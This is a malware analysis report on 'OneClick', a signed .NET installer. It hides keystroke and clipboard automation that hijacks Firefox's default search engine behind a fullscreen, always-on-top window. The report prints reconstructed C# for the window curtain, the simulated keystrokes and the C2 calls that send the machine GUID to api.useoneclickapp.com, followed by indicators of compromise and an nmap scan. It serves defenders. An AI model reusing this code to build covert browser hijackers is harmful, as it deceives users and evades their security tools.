oneclickapp.exe ("OneClick" v2.5.10.20)
Static decompilation and resource inspection of a digitally signed .NET installer that uses a fullscreen, always-on-top WPF window as a visual curtain while covertly launching and automating the victim's web browser underneath via simulated keystrokes (keybd_event) and clipboard injection.
| File Path | G:\oneclickapp.exe |
|---|---|
| File Size | 2,960,864 bytes (2.82 MB) |
| SHA-256 | B8B9D15DEA4C562ACCEDE70E2CA54C87EBFD93F725A4984A22E9D5922D34F609 Copy |
| Internal Name | OneClick.exe (Product: OneClick) |
| File Version | 2.5.10.20 (AppId: 1773850162818201) |
| CLR Runtime | v4.0.30319 (EntryPoint Token: 0x06000002 → OneClick.App::Main) |
| PE Sections |
.text (RVA 0x2000, Size 0x2CB800, Entropy 6.29).rsrc (RVA 0x2CE000, Size 0x4400, Entropy 3.95)
|
| Subject Organization | GARRYA LIMITED (Private Organization) |
|---|---|
| Jurisdiction / Reg # | Lefkosia, Cyprus (CY) • Serial: HE 484311 |
| Issuer CA | CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB |
| Cert Serial Number | 27FE037B6BB24E03B64479117751FAB9 |
| Validity Period | 2026-04-06 17:00:00 → 2027-07-06 16:59:59 |
| Cert Thumbprint | C0946BE83AEE6EE243260F8B45D4B99363E3257B Copy |
| Timestamper | Sectigo Public Time Stamping Signer R37 |
Almost 97% of oneclickapp.exe's size resides in its .NET Manifest Resources (RVA 0xD48C, size 2,884,216 bytes). The outer binary acts as the C2 client, browser hijacker, and dropper for two embedded .NET executables:
G:\oneclickapp.exe (v2.5.10.20)
Contains OneClick.Helpers.PreInstallHandler, ApiService, and ActivityTracker. Communicates with C2, hijacks the browser under a fullscreen overlay, and drops the decoy app.
OneClick.g.resources (198,165 B)
OneClick.Resources.OneClick.exe (v1.0.0.0)
Dropped to %LOCALAPPDATA%\OneClick\OneClick.exe. A functional WPF PDF converter/combiner bundling 23 PdfSharp & runtime DLLs inside OneClick.Pics.*.dll resources so the user believes they installed a real tool.
OneClick.Resources.OneClickUninstaller.exe (v2.3.14.8)
Dropped to %LOCALAPPDATA%\OneClick\OneClickUninstaller.exe. Copies itself to %TEMP%\OneClickUninstaller_Temp.exe --uninstall-cleanup, removes the desktop shortcut & registry key, and opens /one-goodbye. Note: does not revert browser changes.
HWND_TOPMOST Visual Curtain
Modern browsers (Firefox, Chrome, Edge) cryptographically protect their settings files on disk and flag external process memory injection. To bypass both EDR behavioral detection and browser tamper protection, OneClick uses synthetic keyboard and clipboard automation (user32.dll!keybd_event). However, keybd_event only sends keystrokes to the window with active input focus (SetForegroundWindow). To prevent the victim from seeing the browser window pop up and type commands by itself, the malware uses a dual-layer window Z-order trick:
SetWindowPos(HWND_TOPMOST, SWP_NOACTIVATE) every 3ms
RepositionToMainDisplay() forces the browser onto the primary monitor slightly inset from the edges so no border peeks out behind the installer. EnsureForeground() gives the browser keyboard focus while SWP_NOACTIVATE keeps the installer visually on top.
The binary contains zero hardcoded hijack URLs. The target browser name (Fifo) and the three automation payloads (Go, Aps, Giq) are fetched dynamically at runtime from https://api.useoneclickapp.com/oneServer. If detonated in an offline sandbox or after C2 takedown, PreInstallHandler exits cleanly and the sample behaves like a benign PDF utility installer.
In MainWindow::EnsurePrimaryMonitor(), the malware checks Screen.AllScreens.Length > 1. If the user has a multi-monitor setup where the browser might open on a second display (exposing the ghost typing), RepositionToMainDisplay() reads Screen.PrimaryScreen.WorkingArea and calls MoveWindow() twice to trap the browser behind the primary display's fullscreen installer window.
Instead of modifying Firefox's prefs.js or search.json.mozlz4 on disk (which Firefox blocks or hashes, and which EDR file-integrity rules detect), OneClick uses keybd_event to press Ctrl+L, Shift+F10 (context menu), Up, Enter, and Tab/Down arrows inside the browser's own UI so the browser modifies its own configuration legitimately.
Before clicking Continue, the ContinueButton is disabled until the C2 responds. Clicking the X button triggers an internal modal warning ("Exit the installation process can lead to issues - It's best to continue"). Once Continue is clicked, the close button is hidden (Visibility.Collapsed), and after hijacking completes, a real working PDF converter is launched.
On launch, MainWindow maximizes itself across the primary screen without window borders, disables the ContinueButton, reads HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid, and sends it via HTTP POST (text/plain) to https://api.useoneclickapp.com/oneServer. The JSON response populates ApiService properties: Fifo (browser executable name), BrowserFetch (defaults to "firefox"), SessionIndex, Go, Aps, and Giq.
When the user clicks Continue, the progress bar shows "Preparing files... 5%". LocateExecutable() searches HKLM and HKCU under SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\<Fifo>.exe, falling back to ScanFileSystem() which checks %ProgramFiles%\mozilla <Fifo>\<Fifo>.exe, %ProgramFiles(x86)%, and %LOCALAPPDATA%. It records the browser's FileVersionInfo into ActivityTracker.BrowserBuild.
Spawns <ExecutablePath> --new-window, waits for input idle, and sends Tab + Enter (HandleStartupPrompt) if the browser was not already running. Moves the browser window behind the installer on the primary display, sends Escape, and runs QueryAndVerifyContent(): focuses the address bar (Ctrl+L), pastes Giq, presses Enter, waits 2.5 seconds, then presses Ctrl+A, Ctrl+C, Ctrl+L, Ctrl+V and checks whether the clipboard is empty (Clipboard.GetText()).
Starts the 3ms HWND_TOPMOST timer and executes two automated sequences:
DispatchUrlSequence (Progress 30%→40%): Presses Ctrl+L, sets clipboard to Go, presses Ctrl+L, Ctrl+V, Enter (waits 2000ms), then presses Ctrl+L, Shift+F10 (VK_SHIFT + VK_F10 to open the address bar context menu), Up Arrow (VK_UP), and Enter (VK_RETURN) — selecting the bottom item in the address bar context menu (e.g., Firefox's "Add [Search Engine]" option).BrowseToPage (Progress 40%→48%): Presses Ctrl+L, pastes Aps (e.g., about:preferences#search), presses Enter, waits 2000ms, parses the browser major version (sending an extra Tab if major version is between 152 and 154, plus one standard Tab) to focus the Default Search Engine dropdown, and sends Down Arrow (VK_DOWN) 10 times to select the newly added search engine.QueryAndVerifyContent(). If verification fails, sets RetryAttempt = true and repeats the entire sequence with retryMultiplier = 2 (doubling all Thread.Sleep delays), then closes the browser via WM_CLOSE.
At 70% progress, writes OneClick.exe, OneClickUninstaller.exe, and AppIcon.ico to %LOCALAPPDATA%\OneClick\, registers the uninstaller under HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\OneClick, creates Desktop\OneClick.lnk, launches the decoy PDF application, and POSTs a 21-field execution report to https://api.useoneclickapp.com/oneReport.
// Reconstructed from OneClick.Helpers.PreInstallHandler (IL_0000 - IL_0112) private void StartTopMostTimer() { _topMostCts = new CancellationTokenSource(); CancellationToken token = _topMostCts.Token; Task.Run(() => { while (!token.IsCancellationRequested) { Application.Current.Dispatcher.Invoke(() => { Window mainWindow = Application.Current.MainWindow; if (mainWindow != null) { IntPtr handle = new WindowInteropHelper(mainWindow).Handle; if (handle != IntPtr.Zero) { // 0x13 = SWP_NOSIZE (0x01) | SWP_NOMOVE (0x02) | SWP_NOACTIVATE (0x10) // Keeps the installer visually on top WITHOUT stealing keyboard focus from the browser! SetWindowPos(handle, HWND_TOPMOST, 0, 0, 0, 0, 0x13); } } }); Thread.Sleep(3); // 3ms tight loop } }, token); } private void DispatchUrlSequence(int delayMultiplier) { try { StartTopMostTimer(); try { EnsureForeground(); // SetForegroundWindow(this.WindowHandle) Thread.Sleep(300 * delayMultiplier); SimulateKeyCombo(VK_CONTROL, VK_L); // Ctrl+L (focus address bar) Thread.Sleep(400 * delayMultiplier); Application.Current.Dispatcher.Invoke(() => Clipboard.SetText(this.Go)); Thread.Sleep(200 * delayMultiplier); SimulateKeyCombo(VK_CONTROL, VK_L); Thread.Sleep(400 * delayMultiplier); SimulateKeyCombo(VK_CONTROL, VK_V); // Paste C2 'Go' URL Thread.Sleep(300 * delayMultiplier); SimulateKey(VK_RETURN); // Navigate Thread.Sleep(2000 * delayMultiplier); SimulateKeyCombo(VK_CONTROL, VK_L); // Re-focus address bar Thread.Sleep(400 * delayMultiplier); SimulateKeyCombo(VK_SHIFT, VK_F10); // Open context menu on address bar Thread.Sleep(300 * delayMultiplier); SimulateKey(VK_UP); // Highlight bottom menu item ("Add Search Engine") Thread.Sleep(200 * delayMultiplier); SimulateKey(VK_RETURN); // Confirm selection Thread.Sleep(200 * delayMultiplier); } finally { StopTopMostTimer(); } } catch (Exception ex) { StopTopMostTimer(); ActivityTracker.FailureState = "send_clipboard_error: " + ex.Message; } }
// Reconstructed from OneClick.Helpers.PreInstallHandler::BrowseToPage & QueryAndVerifyContent private void BrowseToPage(int delayMultiplier) { try { EnsureForeground(); Thread.Sleep(300 * delayMultiplier); SimulateKeyCombo(VK_CONTROL, VK_L); Thread.Sleep(400 * delayMultiplier); Application.Current.Dispatcher.Invoke(() => Clipboard.SetText(this.Aps)); Thread.Sleep(200 * delayMultiplier); SimulateKeyCombo(VK_CONTROL, VK_V); Thread.Sleep(300 * delayMultiplier); SimulateKey(VK_RETURN); Thread.Sleep(2000 * delayMultiplier); int majorVersion = 0; if (!string.IsNullOrEmpty(VersionLabel) && VersionLabel != "-") int.TryParse(VersionLabel.Split('.')[0], out majorVersion); if (majorVersion < 155 && majorVersion >= 152) { SimulateKey(VK_TAB); Thread.Sleep(300 * delayMultiplier); } SimulateKey(VK_TAB); Thread.Sleep(300 * delayMultiplier); for (int i = 0; i < 10; i++) { SimulateKey(VK_DOWN); // Cycle dropdown to the newly added search provider Thread.Sleep(200 * delayMultiplier); } } catch (Exception ex) { ActivityTracker.FailureState = "navigate_url_error: " + ex.Message; } } private bool QueryAndVerifyContent(int delayMultiplier) { try { EnsureForeground(); Thread.Sleep(300 * delayMultiplier); SimulateKeyCombo(VK_CONTROL, VK_L); Thread.Sleep(400 * delayMultiplier); Application.Current.Dispatcher.Invoke(() => Clipboard.SetText(this.Giq)); Thread.Sleep(200 * delayMultiplier); SimulateKeyCombo(VK_CONTROL, VK_V); Thread.Sleep(300 * delayMultiplier); SimulateKey(VK_RETURN); Thread.Sleep(2600 * delayMultiplier); SimulateKeyCombo(VK_CONTROL, VK_A); // Select all page text Thread.Sleep(100 * delayMultiplier); SimulateKeyCombo(VK_CONTROL, VK_C); // Copy to clipboard Thread.Sleep(100 * delayMultiplier); SimulateKeyCombo(VK_CONTROL, VK_L); Thread.Sleep(100 * delayMultiplier); SimulateKeyCombo(VK_CONTROL, VK_V); Thread.Sleep(100 * delayMultiplier); bool isEmpty = false; Application.Current.Dispatcher.Invoke(() => { isEmpty = string.IsNullOrEmpty(Clipboard.GetText()); }); return isEmpty; } catch (Exception ex) { ActivityTracker.FailureState = "search_clipboard_error: " + ex.Message; return true; } }
// Reconstructed from OneClick.Helpers.ApiService & OneClick.Models.LogRequest public static async Task CallSlogAsync() { try { var content = new StringContent(SystemInfoHelper.GetMachineGuid(), Encoding.UTF8, "text/plain"); HttpResponseMessage resp = await _httpClient.PostAsync(InstallerConfig.SlogApiUrl, content); string json = await resp.Content.ReadAsStringAsync(); var serializer = new DataContractJsonSerializer(typeof(SlogResponse)); using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json))) { var data = (SlogResponse)serializer.ReadObject(ms); if (data != null) { BrowserFetch = data.BrowserFetch ?? "firefox"; SessionIndex = data.SessionIndex ?? ""; Go = data.Go ?? ""; Aps = data.Aps ?? ""; Fifo = data.Fifo ?? ""; Giq = data.Giq ?? ""; } } } catch { } } public string ToFormBody() { return string.Format( "UserKey={0}&BrowserFetch={1}&SessionIndex={2}&SystemVersion={3}&SystemCategory={4}" + "&OperatingSystemBuild={5}&LaunchStart={6}&AdvanceStep={7}&InitialClose={8}" + "&SetupDismissed={9}&TypeAccessed={10}&FailureState={11}&ReleaseBuild={12}" + "&ConfigurationId={13}&RetrySignal={14}&EventCaptured={15}&RetryAttempt={16}" + "&ScreenCount={17}&RunFinished={18}&BrowserBuild={19}&ScreenSize={20}", /* 21 URL-encoded telemetry fields sent to https://api.useoneclickapp.com/oneReport */ ); }
// Reconstructed from OneClick.InstallerConfig & InstallProgressView public static class InstallerConfig { public static readonly string AppName = "OneClick"; public static readonly string ExeName = "OneClick.exe"; public static readonly string AppProcessName = "OneClick"; public static readonly string AppId = "1773850162818201"; public static readonly string WelcomeUrl = "https://www.useoneclickapp.com/one-thankyou"; public static readonly string UninstallUrl = "https://useoneclickapp.com/one-goodbye"; public static readonly string EulaUrl = "https://useoneclickapp.com/one-eula"; public static readonly string PrivacyUrl = "https://useoneclickapp.com/one-privacy"; public static readonly string SlogApiUrl = "https://api.useoneclickapp.com/oneServer"; public static readonly string LogsApiUrl = "https://api.useoneclickapp.com/oneReport"; public static readonly string RegUninstallKeyPath = @"Software\Microsoft\Windows\CurrentVersion\Uninstall"; public static string TargetDirectory => Path.Combine(Environment.GetFolderPath(SpecialFolder.LocalApplicationData), AppName); public static string AppExecutablePath => Path.Combine(TargetDirectory, ExeName); }
| Category | Indicator / Value | Description |
|---|---|---|
| SHA-256 | B8B9D15DEA4C562ACCEDE70E2CA54C87EBFD93F725A4984A22E9D5922D34F609 | Outer Installer (G:\oneclickapp.exe) |
| SHA-256 | 091A7DF88670830E7A661668B6E6F025922402B30D62F460DC47F1FFB70ED1FF | Dropped Decoy App (OneClick.exe) |
| SHA-256 | 35B14630A360DDCDED5F882703C294106392BD4A6B760F2CC201BA0E0E05A923 | Dropped Uninstaller (OneClickUninstaller.exe) |
| C2 Endpoint | https://api.useoneclickapp.com/oneServer | POST endpoint returning JSON hijack config |
| Exfil Endpoint | https://api.useoneclickapp.com/oneReport | POST endpoint receiving 21-field status report |
| Web Domain | useoneclickapp.com / www.useoneclickapp.com | Landing, EULA, Privacy, & Thank-You pages |
| Filesystem | %LOCALAPPDATA%\OneClick\OneClick.exe %LOCALAPPDATA%\OneClick\.dlls_extracted %USERPROFILE%\Desktop\OneClick.lnk %TEMP%\OneClickUninstaller_Temp.exe |
Dropped files and extraction marker |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\OneClick | Persistence / Uninstall registration |
| Code Signer | CN=GARRYA LIMITED, O=GARRYA LIMITED, S=Lefkosia, C=CY (HE 484311) Thumbprint: C0946BE83AEE6EE243260F8B45D4B99363E3257B |
Sectigo EV Code Signing Certificate |
| Edge TLS Cert | Subject: CN=useoneclickapp.com (SAN: *.useoneclickapp.com, useoneclickapp.com) Issuer: CN=YE2, O=Let's Encrypt, C=US (2026-09-13 → 2026-12-12) SHA-1: 6f7f:13d9:ac83:561d:7893:d57a:d71f:e204:6c74:c2a9 |
Cloudflare Edge Wildcard Certificate covering C2 & web domains |
| Network / Proxy | 104.18.9.32 & 104.18.8.32 (Cloudflare Anycast Edge • Ports 80, 443, 8080, 8443 open; 996 filtered) HTTP Title (443): One Click - Manage your pdf document workNote: Shared Cloudflare proxy IPs — block via DNS ( *.useoneclickapp.com), not IP |
Reverse proxy masking origin C2 host |
nmap Telemetry)
Active service, TLS certificate, and traceroute enumeration performed via Nmap 7.94 (nmap -T4 -A -v www.useoneclickapp.com) reveals that the threat actors shield their backend Command & Control infrastructure behind Cloudflare's Anycast Reverse Proxy while serving a live PDF-themed decoy landing page:
| Scan Command | nmap -T4 -A -v www.useoneclickapp.com (Nmap 7.94) |
|---|---|
| Resolved Edge IPs | 104.18.9.32 (scanned) • 104.18.8.32 (secondary Anycast) |
| Port Distribution | 4 Open TCP (80, 443, 8080, 8443) • 996 Filtered (no-response) |
| Landing Page Title | One Click - Manage your pdf document work (Port 443 HTTPS) |
| Server Header | cloudflare (Cloudflare HTTP Proxy) |
| HTTP Methods |
Port 80 & 8080: GET HEAD POST OPTIONS (→ redirect to https://www.useoneclickapp.com/)Port 443: GET HEAD
|
| OS Fingerprint | Incomplete (0 closed TCP ports; Cloudflare drops SYN probes on all 996 non-web ports) |
ssl-cert)| Subject CN | commonName=useoneclickapp.com |
|---|---|
| Subject Alt Names | DNS:*.useoneclickapp.com, DNS:useoneclickapp.com |
| Issuer CA | commonName=YE2 / organizationName=Let's Encrypt / countryName=US |
| Key & Signature | EC 256-bit • ecdsa-with-SHA384 |
| Validity Window | 2026-09-13T13:59:48 → 2026-12-12T13:59:47 (90-Day Cycle) |
| Cert MD5 | 9bfe:fb0a:fb6e:57e5:ef69:e9a2:d3ee:214a |
| Cert SHA-1 | 6f7f:13d9:ac83:561d:7893:d57a:d71f:e204:6c74:c2a9 |
Port 443 serves a live landing page titled "One Click - Manage your pdf document work" behind Cloudflare Anycast IPs 104.18.9.32 and 104.18.8.32. All 996 non-web ports return no-response, masking the true origin IP and operating system of the backend C2 server.
The Let's Encrypt certificate includes a wildcard SAN (*.useoneclickapp.com), securing both the public decoy pages (www.useoneclickapp.com) and the C2/telemetry API (api.useoneclickapp.com). Its issuance date of September 13, 2026 dates the active proxy deployment to roughly six weeks prior to capture.
Do not firewall IPs 104.18.9.32 / 104.18.8.32, as they are shared Cloudflare Anycast addresses. Enforce blocks at the DNS or domain layer for useoneclickapp.com and *.useoneclickapp.com, and submit C2 telemetry to Cloudflare Abuse to unmask and terminate the origin account.
# Starting Nmap 7.94 ( https://nmap.org ) at 2026-10-28 21:17 PDT # Command: nmap -T4 -A -v www.useoneclickapp.com Nmap scan report for www.useoneclickapp.com (104.18.9.32) Host is up (0.039s latency). Other addresses for www.useoneclickapp.com (not scanned): 104.18.8.32 Not shown: 996 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Cloudflare http proxy | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to https://www.useoneclickapp.com/ |_http-server-header: cloudflare 443/tcp open ssl/http Cloudflare http proxy |_http-title: One Click - Manage your pdf document work |_http-server-header: cloudflare | ssl-cert: Subject: commonName=useoneclickapp.com | Subject Alternative Name: DNS:*.useoneclickapp.com, DNS:useoneclickapp.com | Issuer: commonName=YE2/organizationName=Let's Encrypt/countryName=US | Public Key type: ec (256 bits) • Signature Algorithm: ecdsa-with-SHA384 | Not valid before: 2026-09-13T13:59:48 • Not valid after: 2026-12-12T13:59:47 | MD5: 9bfe:fb0a:fb6e:57e5:ef69:e9a2:d3ee:214a |_SHA-1: 6f7f:13d9:ac83:561d:7893:d57a:d71f:e204:6c74:c2a9 | http-methods: |_ Supported Methods: GET HEAD 8080/tcp open http Cloudflare http proxy |_http-server-header: cloudflare | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to https://www.useoneclickapp.com/ 8443/tcp open ssl/http Cloudflare http proxy |_http-title: 400 The plain HTTP request was sent to HTTPS port |_http-server-header: cloudflare | ssl-cert: Subject: commonName=useoneclickapp.com (Wildcard SAN: *.useoneclickapp.com) # OS Detection & Edge Transit Summary Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete Network Distance: 16 hops (... → 157.130.245.122 → 141.101.72.59 → 141.101.72.129 → 104.18.9.32) Nmap done: 1 IP address (1 host up) scanned in 98.62 seconds (Raw packets sent: 2108 | Rcvd: 111)